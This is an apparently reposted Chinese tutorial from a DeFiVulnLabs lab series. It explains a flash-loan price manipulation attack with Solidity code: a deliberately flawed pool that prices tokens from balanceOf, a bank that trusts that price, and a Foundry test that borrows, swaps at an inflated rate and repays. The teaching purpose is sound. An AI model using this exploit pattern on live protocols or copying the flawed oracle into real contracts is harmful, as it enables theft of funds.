漏洞解析：
这段代码展示了一个简单的 DeFi 场景，其中涉及价格操纵攻击。通过闪电贷借入大量代币，攻击者可以操纵池中的代币余额，从而影响价格计算。这种攻击利用了 SimplePool 合约中不安全的 getPrice 函数，该函数直接基于代币余额计算价格，容易受到操纵。
contract USDa is ERC20, Ownable {constructor() ERC20("USDA", "USDA") {_mint(msg.sender, 10000 * 10 ** decimals());}function mint(address to, uint256 amount) public onlyOwner {_mint(to, amount);}}contract USDb is ERC20, Ownable {constructor() ERC20("USDB", "USDB") {_mint(msg.sender, 10000 * 10 ** decimals());}function mint(address to, uint256 amount) public onlyOwner {_mint(to, amount);}}
contract SimplePool {IERC20 public USDaToken;IERC20 public USDbToken;constructor(address _USDa, address _USDb) {USDaToken = IERC20(_USDa);USDbToken = IERC20(_USDb);}function getPrice() public view returns (uint256) {// Incorrect price calculation over balanceOf// 错误的价格计算来自于balanceofuint256 USDaAmount = USDaToken.balanceOf(address(this));uint256 USDbAmount = USDbToken.balanceOf(address(this));// Ensure USDbAmount is not zero to prevent division by zeroif (USDaAmount == 0) {return 0;}// Calculate the price as the ratio of USDa to USDb//usda的价格来源usdb的数量除以usda的数量uint256 USDaPrice = (USDbAmount * (10 ** 18)) / USDaAmount;return USDaPrice;}function flashLoan(uint256 amount,address borrower,bytes calldata data) public {uint256 balanceBefore = USDaToken.balanceOf(address(this));require(balanceBefore >= amount, "Not enough liquidity");require(USDaToken.transfer(borrower, amount),"Flashloan transfer failed");(bool success, ) = borrower.call(data);require(success, "Flashloan callback failed");uint256 balanceAfter = USDaToken.balanceOf(address(this));require(balanceAfter >= balanceBefore, "Flashloan not repaid");}}
contract SimpleBank {IERC20 public token; //USDASimplePool public pool;IERC20 public payoutToken; //USDbconstructor(address _token, address _pool, address _payoutToken) {token = IERC20(_token);pool = SimplePool(_pool);payoutToken = IERC20(_payoutToken);}function exchange(uint256 amount) public {require(token.transferFrom(msg.sender, address(this), amount),"Transfer failed");uint256 price = pool.getPrice();require(price > 0, "Price cannot be zero");uint256 tokensToReceive = (amount * price) / (10 ** 18);require(payoutToken.transfer(msg.sender, tokensToReceive),"Payout transfer failed");}}
2、此时getPrice()返回虚高的价格（如1 USDA = 2 USDB）。
3、攻击者以高价兑换USDB，获利后归还贷款，价格恢复。
function testPrice_Manipulation()public{USDbContract.transfer(address(SimpleBankContract), 9000 ether);USDaContract.transfer(address(SimplePoolContract), 1000 ether);USDbContract.transfer(address(SimplePoolContract), 1000 ether);// Get the current price of USDa in terms of USDb (initially 1 USDa : 1 USDb)SimplePoolContract.getPrice(); // 1 USDa : 1 USDbconsole.log("There are 1000 USDa and USDb in the pool, so the price of USDa is 1 to 1 USDb.");emit log_named_decimal_uint("Current USDa convert rate",SimplePoolContract.getPrice(),18);console.log("Start price manipulation");console.log("Borrow 500 USBa over floashloan");// Let's manipulate the price since the getPrice is over the balanceOf.// Use flashloan to borrow 500 USDaSimplePoolContract.flashLoan(500 ether, address(this), "0x0");}fallback() external {//flashlon callbackemit log_named_decimal_uint("Price manupulated, USDa convert rate",SimplePoolContract.getPrice(),18); // 1 USDa : 2 USDbUSDaContract.approve(address(SimpleBankContract), 100 ether);SimpleBankContract.exchange(100 ether);// Repay the flashloan by transferring 500 USDb to SimplePoolContractUSDaContract.transfer(address(SimplePoolContract), 500 ether);// Get the balance of USDb owned by us.emit log_named_decimal_uint("Use 100 USDa to convert, My USDb balance",USDbContract.balanceOf(address(this)),18);}receive() external payable {}}
SimplePoolContract.getPrice(); // 1 USDa : 1 USDb SimplePoolContract.flashLoan(500 ether, address(this), "0x0");fallback() external {//flashlon callbackemit log_named_decimal_uint("Price manupulated, USDa convert rate",SimplePoolContract.getPrice(),18); // 1 USDa : 2 USDb
C:UsersxxxDesktopweb3-functionweb3safefoundry_nightly_win32_amd64forge.exe test --contracts ./srctestPrice_manipulation.sol -vvvv
原文始发于微信公众号（Ice ThirdSpace）：DeFiVulnLabs靶场全系列详解（三十二）基于闪电贷的价格操纵漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论